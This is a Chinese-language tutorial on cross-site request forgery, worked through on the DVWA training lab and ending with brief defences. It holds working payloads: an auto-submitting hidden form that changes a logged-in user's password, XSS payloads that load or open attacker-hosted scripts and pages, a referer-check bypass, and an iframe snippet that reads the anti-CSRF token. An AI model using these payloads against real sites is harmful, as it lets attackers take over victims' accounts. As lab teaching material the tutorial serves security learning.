web安全-----CSRF漏洞

简述

CSRF:Cross-site request -forgery,跨站请求伪造,是一种web攻击方式,是由于网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要访问这个网站,都会默认你已经登录。

危害

攻击者可以利用你的身份,以你的名义发送恶意请求。cerf能够做的事情包括:以你的名义发送邮件,发信息,盗取你的账号,甚至购买商品,虚拟商品转账

CSRF之POC制作

测试环境:DVWA的CSRF,low
1、利用burpsuit生成CSRF_POC
打开要测试的页面,burpsuit拦截
web安全-----CSRF漏洞_第1张图片
右键,找到下图的东西
web安全-----CSRF漏洞_第2张图片
点击Generate CSRF Poc
web安全-----CSRF漏洞_第3张图片

由于burp生成的poc需要点击按钮才能触发 用户很难上当受骗 这里用js添加一个自动点击事件,

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
	<iframe name="target" style="display: none;"></iframe>
	<!--
    	iframe将作为跳转的接收页,为了隐藏我们使用display:none,不显示
    -->
    <form action="http://IP/dvwa/vulnerabilities/csrf/" id="form" target="target">
      <input type="hidden" name="password_new" value="123456" />
      <input type="hidden" name="password_conf" value="123456" />
      <input type="hidden" name="Change" value="Change" />
    </form>
    <script>
    	var form = document.getElementById("form");
    	form.submit();
    </script>
  </body>
</html>

将此html放在自己服务器上,保证能访问到,dvwa这边处于登陆状态,然后使用同一浏览器,访问刚刚构造的POC,DVWA默认的密码为password

http://IP/csrf/csrf.html

在这里插入图片描述
web安全-----CSRF漏洞_第4张图片
密码成功修改

2、csrf绕过referer验证

很多网站会通过验证referer是否合法来判断是否是用户操作,但是他可能只是验证referer中是否
包含该网站的referer。如DVWA的判断原理是取出请求中的referer值,然后将host的值取出,然
后判断在referer值中有没有出现host值,如果出现则认为是正常请求,否则就拒绝请求。
绕过思路:将攻击文件的文件名改为该网站的域名(请求时的host值).

3、结合XSS
构造我们的payload,使用DVWA的反射型XSS测试

<script src="x" onerror=javascript:window.open("http://IP/csrf/csrf.html")></script>

在这里插入图片描述

访问之后,成功修改
web安全-----CSRF漏洞_第5张图片
另一种方式:

var form = document.createElement('form');
form.action='http://192.168.1.44/DVWA-master/vulnerabilities/csrf/';
form.target='target';
var pass1 = document.createElement('input');
pass1.name="password_new";
pass1.value = '123456';
var pass2 = document.createElement('input');
pass2.name = 'password_conf';
pass2.value = "123456";
var change = document.createElement('input');
change.name='Change';
change.value='Change';
form.appendChild(pass1);
form.appendChild(pass2);
form.appendChild(change);
document.body.append(form)
form.submit();

payload

<script src="http://192.168.1.7/st_test/csrf/csrf_js_poc.js">
</script>

4、csrf结合xss绕过token防御
token作为身份令牌,如果该值足够随机,那么安全系数将是很高的,按照这种逻辑这里不应该
存在csrf漏洞,但是如果网站存在XSS漏洞的话,那么这里的token就将形同虚设。我们可以利用
xss获取到token值,然后利用该值发起请求,从而构造相应从csrf攻击。但是这里存在一个问
题,那就是同源策略会限制我们的脚本,这里我们只能打出token,然后再诱惑用户点击我们构造
的页面,这样也会造成危害,但是这里由于token随机性,可能每次刷新页面就会失效,所以可
利用的概率就比较小了。

<iframe src='../csrf/' onload="alert(frames[0].document.getElementsByName('user_token')
[0].value)">

防御

  • 关键操作增加验证码
  • 验证referer
  • 使用足够随机的token

你可能感兴趣的:(WEB安全)